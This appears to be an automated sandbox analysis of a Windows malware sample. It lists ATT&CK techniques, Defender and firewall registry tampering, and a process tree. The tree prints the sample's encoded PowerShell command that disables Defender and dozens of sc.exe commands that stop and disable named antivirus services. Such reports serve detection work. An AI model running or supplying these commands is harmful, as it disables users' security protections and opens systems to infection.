a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanningOnRealtimeEnable = "1"	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe

Windows security bypass 2 TTPs 3 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\UpdatesDisableNotify = "1"	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\AntiVirusDisableNotify = "1"	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\FirewallDisableNotify = "1"	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
1084	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Loads dropped DLL 9 IoCs

pid	Process
5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 5 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

persistence privilege_escalation

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\UpdatesDisableNotify = "1"	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\AntiVirusDisableNotify = "1"	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\FirewallDisableNotify = "1"	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5452	sc.exe
2448	sc.exe
972	sc.exe
1084	sc.exe
3784	sc.exe
4708	sc.exe
2140	sc.exe
6060	sc.exe
484	sc.exe
800	sc.exe
1780	sc.exe
976	sc.exe
5724	sc.exe
2552	sc.exe
5668	sc.exe
5988	sc.exe
1544	sc.exe
4764	sc.exe
4168	sc.exe
1952	sc.exe
3064	sc.exe
5612	sc.exe
936	sc.exe
5728	sc.exe
2416	sc.exe
5580	sc.exe
3156	sc.exe
3052	sc.exe
2072	sc.exe
3096	sc.exe
4108	sc.exe
6012	sc.exe
1520	sc.exe
3112	sc.exe
5512	sc.exe
5012	sc.exe
1108	sc.exe
3660	sc.exe
1636	sc.exe
3452	sc.exe
3052	sc.exe
3132	sc.exe
3212	sc.exe
3016	sc.exe
3636	sc.exe
5048	sc.exe
6040	sc.exe
4860	sc.exe
4988	sc.exe
4424	sc.exe
4388	sc.exe
4512	sc.exe
5812	sc.exe
5124	sc.exe
4836	sc.exe
5732	sc.exe
2076	sc.exe
5976	sc.exe
4220	sc.exe
5852	sc.exe
2548	sc.exe
2368	sc.exe
3880	sc.exe
2656	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
5036	timeout.exe

Kills process with taskkill 17 IoCs

defense_evasion

pid	Process
3524	taskkill.exe
4412	taskkill.exe
5124	taskkill.exe
4880	taskkill.exe
2032	taskkill.exe
4980	taskkill.exe
5452	taskkill.exe
3740	taskkill.exe
2604	taskkill.exe
4844	taskkill.exe
2732	taskkill.exe
1936	taskkill.exe
2328	taskkill.exe
4404	taskkill.exe
5080	taskkill.exe
1060	taskkill.exe
5272	taskkill.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2024	powershell.exe
2024	powershell.exe
5708	powershell.exe
5708	powershell.exe
1356	powershell.exe
1356	powershell.exe
5312	powershell.exe
5312	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeIncreaseQuotaPrivilege	2024	powershell.exe
Token: SeSecurityPrivilege	2024	powershell.exe
Token: SeTakeOwnershipPrivilege	2024	powershell.exe
Token: SeLoadDriverPrivilege	2024	powershell.exe
Token: SeSystemProfilePrivilege	2024	powershell.exe
Token: SeSystemtimePrivilege	2024	powershell.exe
Token: SeProfSingleProcessPrivilege	2024	powershell.exe
Token: SeIncBasePriorityPrivilege	2024	powershell.exe
Token: SeCreatePagefilePrivilege	2024	powershell.exe
Token: SeBackupPrivilege	2024	powershell.exe
Token: SeRestorePrivilege	2024	powershell.exe
Token: SeShutdownPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeSystemEnvironmentPrivilege	2024	powershell.exe
Token: SeRemoteShutdownPrivilege	2024	powershell.exe
Token: SeUndockPrivilege	2024	powershell.exe
Token: SeManageVolumePrivilege	2024	powershell.exe
Token: 33	2024	powershell.exe
Token: 34	2024	powershell.exe
Token: 35	2024	powershell.exe
Token: 36	2024	powershell.exe
Token: SeIncreaseQuotaPrivilege	2024	powershell.exe
Token: SeSecurityPrivilege	2024	powershell.exe
Token: SeTakeOwnershipPrivilege	2024	powershell.exe
Token: SeLoadDriverPrivilege	2024	powershell.exe
Token: SeSystemProfilePrivilege	2024	powershell.exe
Token: SeSystemtimePrivilege	2024	powershell.exe
Token: SeProfSingleProcessPrivilege	2024	powershell.exe
Token: SeIncBasePriorityPrivilege	2024	powershell.exe
Token: SeCreatePagefilePrivilege	2024	powershell.exe
Token: SeBackupPrivilege	2024	powershell.exe
Token: SeRestorePrivilege	2024	powershell.exe
Token: SeShutdownPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeSystemEnvironmentPrivilege	2024	powershell.exe
Token: SeRemoteShutdownPrivilege	2024	powershell.exe
Token: SeUndockPrivilege	2024	powershell.exe
Token: SeManageVolumePrivilege	2024	powershell.exe
Token: 33	2024	powershell.exe
Token: 34	2024	powershell.exe
Token: 35	2024	powershell.exe
Token: 36	2024	powershell.exe
Token: SeIncreaseQuotaPrivilege	2024	powershell.exe
Token: SeSecurityPrivilege	2024	powershell.exe
Token: SeTakeOwnershipPrivilege	2024	powershell.exe
Token: SeLoadDriverPrivilege	2024	powershell.exe
Token: SeSystemProfilePrivilege	2024	powershell.exe
Token: SeSystemtimePrivilege	2024	powershell.exe
Token: SeProfSingleProcessPrivilege	2024	powershell.exe
Token: SeIncBasePriorityPrivilege	2024	powershell.exe
Token: SeCreatePagefilePrivilege	2024	powershell.exe
Token: SeBackupPrivilege	2024	powershell.exe
Token: SeRestorePrivilege	2024	powershell.exe
Token: SeShutdownPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeSystemEnvironmentPrivilege	2024	powershell.exe
Token: SeRemoteShutdownPrivilege	2024	powershell.exe
Token: SeUndockPrivilege	2024	powershell.exe
Token: SeManageVolumePrivilege	2024	powershell.exe
Token: 33	2024	powershell.exe
Token: 34	2024	powershell.exe
Token: 35	2024	powershell.exe
Token: 36	2024	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4380 wrote to memory of 5556	4380	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	87
PID 5556 wrote to memory of 2024	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	89
PID 5556 wrote to memory of 972	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	92
PID 5556 wrote to memory of 3052	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	202
PID 5556 wrote to memory of 800	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	96
PID 5556 wrote to memory of 1780	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	98
PID 5556 wrote to memory of 2788	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	100
PID 5556 wrote to memory of 936	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	102
PID 5556 wrote to memory of 3660	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	104
PID 5556 wrote to memory of 5724	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	106
PID 5556 wrote to memory of 5976	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	108
PID 5556 wrote to memory of 4168	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	110
PID 5556 wrote to memory of 4580	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	112
PID 5556 wrote to memory of 4448	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	114
PID 5556 wrote to memory of 2072	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	116
PID 5556 wrote to memory of 3132	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	118
PID 5556 wrote to memory of 3112	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	120
PID 5556 wrote to memory of 3212	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	122
PID 5556 wrote to memory of 4220	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	124
PID 5556 wrote to memory of 484	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	126
PID 5556 wrote to memory of 976	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	128
PID 5556 wrote to memory of 5512	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	130
PID 5556 wrote to memory of 4836	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	132
PID 5556 wrote to memory of 5728	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	134
PID 5556 wrote to memory of 5124	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	237
PID 5556 wrote to memory of 4988	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	138
PID 5556 wrote to memory of 2656	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	140
PID 5556 wrote to memory of 2328	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	241
PID 5556 wrote to memory of 5732	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	144
PID 5556 wrote to memory of 6060	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	146
PID 5556 wrote to memory of 1952	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	148
PID 5556 wrote to memory of 4424	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	150
PID 5556 wrote to memory of 1636	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	152
PID 5556 wrote to memory of 2552	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	154
PID 5556 wrote to memory of 5668	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	156
PID 5556 wrote to memory of 5852	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	158
PID 5556 wrote to memory of 3016	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	160
PID 5556 wrote to memory of 3636	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	162
PID 5556 wrote to memory of 2548	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	164
PID 5556 wrote to memory of 5452	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	257
PID 5556 wrote to memory of 2368	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	168
PID 5556 wrote to memory of 2416	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	260
PID 5556 wrote to memory of 5580	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	172
PID 5556 wrote to memory of 5048	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	174
PID 5556 wrote to memory of 1084	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	263
PID 5556 wrote to memory of 6040	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	178
PID 5556 wrote to memory of 4708	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	180
PID 5556 wrote to memory of 2076	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	182
PID 5556 wrote to memory of 3880	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	184
PID 5556 wrote to memory of 3096	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	186
PID 5556 wrote to memory of 4108	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	188
PID 5556 wrote to memory of 3784	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	190
PID 5556 wrote to memory of 5988	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	192
PID 5556 wrote to memory of 3156	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	194
PID 5556 wrote to memory of 4388	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	196
PID 5556 wrote to memory of 5012	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	198
PID 5556 wrote to memory of 3064	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	200
PID 5556 wrote to memory of 3052	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	202
PID 5556 wrote to memory of 2448	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	204
PID 5556 wrote to memory of 1108	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	206
PID 5556 wrote to memory of 4860	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	208
PID 5556 wrote to memory of 6012	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	210
PID 5556 wrote to memory of 4512	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	212
PID 5556 wrote to memory of 1544	5556	a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe	214

C:\Users\Admin\AppData\Local\Temp\a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
"C:\Users\Admin\AppData\Local\Temp\a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4380
- C:\Users\Admin\AppData\Local\Temp\a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe
  "C:\Users\Admin\AppData\Local\Temp\a7753543db75b99960160330e15f7d3c057ddabf993d6b1138837cc9d3151efa.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - Windows security bypass
  - Loads dropped DLL
  - Windows security modification
  - Suspicious use of WriteProcessMemory
  PID:5556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAZQBoAGEAdgBpAG8AcgBNAG8AbgBpAHQAbwByAGkAbgBnACAAJAB0AHIAdQBlAAoAIAAgACAAIAAgACAAIAAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBsAG8AYwBrAEEAdABGAGkAcgBzAHQAUwBlAGUAbgAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAFAAcgBpAHYAYQBjAHkATQBvAGQAZQAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBTAGkAZwBuAGEAdAB1AHIAZQBEAGkAcwBhAGIAbABlAFUAcABkAGEAdABlAE8AbgBTAHQAYQByAHQAdQBwAFcAaQB0AGgAbwB1AHQARQBuAGcAaQBuAGUAIAAkAHQAcgB1AGUACgAgACAAIAAgACAAIAAgACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBBAHIAYwBoAGkAdgBlAFMAYwBhAG4AbgBpAG4AZwAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkAbgB0AHIAdQBzAGkAbwBuAFAAcgBlAHYAZQBuAHQAaQBvAG4AUwB5AHMAdABlAG0AIAAkAHQAcgB1AGUACgAgACAAIAAgACAAIAAgACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBTAGMAcgBpAHAAdABTAGMAYQBuAG4AaQBuAGcAIAAkAHQAcgB1AGUACgAgACAAIAAgACAAIAAgACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAKACAAIAAgACAAIAAgACAAIAA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2024
- - C:\Windows\SYSTEM32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:972
- - C:\Windows\SYSTEM32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:3052
- - C:\Windows\SYSTEM32\sc.exe
    sc stop avast
    3⤵
    - Launches sc.exe
    PID:800
- - C:\Windows\SYSTEM32\sc.exe
    sc config avast start= disabled
    3⤵
    - Launches sc.exe
    PID:1780
- - C:\Windows\SYSTEM32\sc.exe
    sc stop avg
    3⤵
    PID:2788
- - C:\Windows\SYSTEM32\sc.exe
    sc config avg start= disabled
    3⤵
    - Launches sc.exe
    PID:936
- - C:\Windows\SYSTEM32\sc.exe
    sc stop avira
    3⤵
    - Launches sc.exe
    PID:3660
- - C:\Windows\SYSTEM32\sc.exe
    sc config avira start= disabled
    3⤵
    - Launches sc.exe
    PID:5724
- - C:\Windows\SYSTEM32\sc.exe
    sc stop bitdefender
    3⤵
    - Launches sc.exe
    PID:5976
- - C:\Windows\SYSTEM32\sc.exe
    sc config bitdefender start= disabled
    3⤵
    - Launches sc.exe
    PID:4168
- - C:\Windows\SYSTEM32\sc.exe
    sc stop kaspersky
    3⤵
    PID:4580
- - C:\Windows\SYSTEM32\sc.exe
    sc config kaspersky start= disabled
    3⤵
    PID:4448
- - C:\Windows\SYSTEM32\sc.exe
    sc stop mcafee
    3⤵
    - Launches sc.exe
    PID:2072
- - C:\Windows\SYSTEM32\sc.exe
    sc config mcafee start= disabled
    3⤵
    - Launches sc.exe
    PID:3132
- - C:\Windows\SYSTEM32\sc.exe
    sc stop norton
    3⤵
    - Launches sc.exe
    PID:3112
- - C:\Windows\SYSTEM32\sc.exe
    sc config norton start= disabled
    3⤵
    - Launches sc.exe
    PID:3212
- - C:\Windows\SYSTEM32\sc.exe
    sc stop symantec
    3⤵
    - Launches sc.exe
    PID:4220
- - C:\Windows\SYSTEM32\sc.exe
    sc config symantec start= disabled
    3⤵
    - Launches sc.exe
    PID:484
- - C:\Windows\SYSTEM32\sc.exe
    sc stop trend
    3⤵
    - Launches sc.exe
    PID:976
- - C:\Windows\SYSTEM32\sc.exe
    sc config trend start= disabled
    3⤵
    - Launches sc.exe
    PID:5512
- - C:\Windows\SYSTEM32\sc.exe
    sc stop panda
    3⤵
    - Launches sc.exe
    PID:4836
- - C:\Windows\SYSTEM32\sc.exe
    sc config panda start= disabled
    3⤵
    - Launches sc.exe
    PID:5728
- - C:\Windows\SYSTEM32\sc.exe
    sc stop eset
    3⤵
    - Launches sc.exe
    PID:5124
- - C:\Windows\SYSTEM32\sc.exe
    sc config eset start= disabled
    3⤵
    - Launches sc.exe
    PID:4988
- - C:\Windows\SYSTEM32\sc.exe
    sc stop f-secure
    3⤵
    - Launches sc.exe
    PID:2656
- - C:\Windows\SYSTEM32\sc.exe
    sc config f-secure start= disabled
    3⤵
    PID:2328
- - C:\Windows\SYSTEM32\sc.exe
    sc stop comodo
    3⤵
    - Launches sc.exe
    PID:5732
- - C:\Windows\SYSTEM32\sc.exe
    sc config comodo start= disabled
    3⤵
    - Launches sc.exe
    PID:6060
- - C:\Windows\SYSTEM32\sc.exe
    sc stop malwarebytes
    3⤵
    - Launches sc.exe
    PID:1952
- - C:\Windows\SYSTEM32\sc.exe
    sc config malwarebytes start= disabled
    3⤵
    - Launches sc.exe
    PID:4424
- - C:\Windows\SYSTEM32\sc.exe
    sc stop adaware
    3⤵
    - Launches sc.exe
    PID:1636
- - C:\Windows\SYSTEM32\sc.exe
    sc config adaware start= disabled
    3⤵
    - Launches sc.exe
    PID:2552
- - C:\Windows\SYSTEM32\sc.exe
    sc stop webroot
    3⤵
    - Launches sc.exe
    PID:5668
- - C:\Windows\SYSTEM32\sc.exe
    sc config webroot start= disabled
    3⤵
    - Launches sc.exe
    PID:5852
- - C:\Windows\SYSTEM32\sc.exe
    sc stop sophos
    3⤵
    - Launches sc.exe
    PID:3016
- - C:\Windows\SYSTEM32\sc.exe
    sc config sophos start= disabled
    3⤵
    - Launches sc.exe
    PID:3636
- - C:\Windows\SYSTEM32\sc.exe
    sc stop emsisoft
    3⤵
    - Launches sc.exe
    PID:2548
- - C:\Windows\SYSTEM32\sc.exe
    sc config emsisoft start= disabled
    3⤵
    - Launches sc.exe
    PID:5452
- - C:\Windows\SYSTEM32\sc.exe
    sc stop gdata
    3⤵
    - Launches sc.exe
    PID:2368
- - C:\Windows\SYSTEM32\sc.exe
    sc config gdata start= disabled
    3⤵
    - Launches sc.exe
    PID:2416
- - C:\Windows\SYSTEM32\sc.exe
    sc stop vipre
    3⤵
    - Launches sc.exe
    PID:5580
- - C:\Windows\SYSTEM32\sc.exe
    sc config vipre start= disabled
    3⤵
    - Launches sc.exe
    PID:5048
- - C:\Windows\SYSTEM32\sc.exe
    sc stop bullguard
    3⤵
    - Launches sc.exe
    PID:1084
- - C:\Windows\SYSTEM32\sc.exe
    sc config bullguard start= disabled
    3⤵
    - Launches sc.exe
    PID:6040
- - C:\Windows\SYSTEM32\sc.exe
    sc stop fprot
    3⤵
    - Launches sc.exe
    PID:4708
- - C:\Windows\SYSTEM32\sc.exe
    sc config fprot start= disabled
    3⤵
    - Launches sc.exe
    PID:2076
- - C:\Windows\SYSTEM32\sc.exe
    sc stop ikarus
    3⤵
    - Launches sc.exe
    PID:3880
- - C:\Windows\SYSTEM32\sc.exe
    sc config ikarus start= disabled
    3⤵
    - Launches sc.exe
    PID:3096
- - C:\Windows\SYSTEM32\sc.exe
    sc stop pctools
    3⤵
    - Launches sc.exe
    PID:4108
- - C:\Windows\SYSTEM32\sc.exe
    sc config pctools start= disabled
    3⤵
    - Launches sc.exe
    PID:3784
- - C:\Windows\SYSTEM32\sc.exe
    sc stop zonealarm
    3⤵
    - Launches sc.exe
    PID:5988
- - C:\Windows\SYSTEM32\sc.exe
    sc config zonealarm start= disabled
    3⤵
    - Launches sc.exe
    PID:3156
- - C:\Windows\SYSTEM32\sc.exe
    sc stop outpost
    3⤵
    - Launches sc.exe
    PID:4388
- - C:\Windows\SYSTEM32\sc.exe
    sc config outpost start= disabled
    3⤵
    - Launches sc.exe
    PID:5012
- - C:\Windows\SYSTEM32\sc.exe
    sc stop eScan
    3⤵
    - Launches sc.exe
    PID:3064
- - C:\Windows\SYSTEM32\sc.exe
    sc config eScan start= disabled
    3⤵
    - Launches sc.exe
    PID:3052
- - C:\Windows\SYSTEM32\sc.exe
    sc stop Immunet
    3⤵
    - Launches sc.exe
    PID:2448
- - C:\Windows\SYSTEM32\sc.exe
    sc config Immunet start= disabled
    3⤵
    - Launches sc.exe
    PID:1108
- - C:\Windows\SYSTEM32\sc.exe
    sc stop K7
    3⤵
    - Launches sc.exe
    PID:4860
- - C:\Windows\SYSTEM32\sc.exe
    sc config K7 start= disabled
    3⤵
    - Launches sc.exe
    PID:6012
- - C:\Windows\SYSTEM32\sc.exe
    sc stop QuickHeal
    3⤵
    - Launches sc.exe
    PID:4512
- - C:\Windows\SYSTEM32\sc.exe
    sc config QuickHeal start= disabled
    3⤵
    - Launches sc.exe
    PID:1544
- - C:\Windows\SYSTEM32\sc.exe
    sc stop TotalAV
    3⤵
    - Launches sc.exe
    PID:3452
- - C:\Windows\SYSTEM32\sc.exe
    sc config TotalAV start= disabled
    3⤵
    - Launches sc.exe
    PID:5812
- - C:\Windows\SYSTEM32\sc.exe
    sc stop McAfee
    3⤵
    - Launches sc.exe
    PID:4764
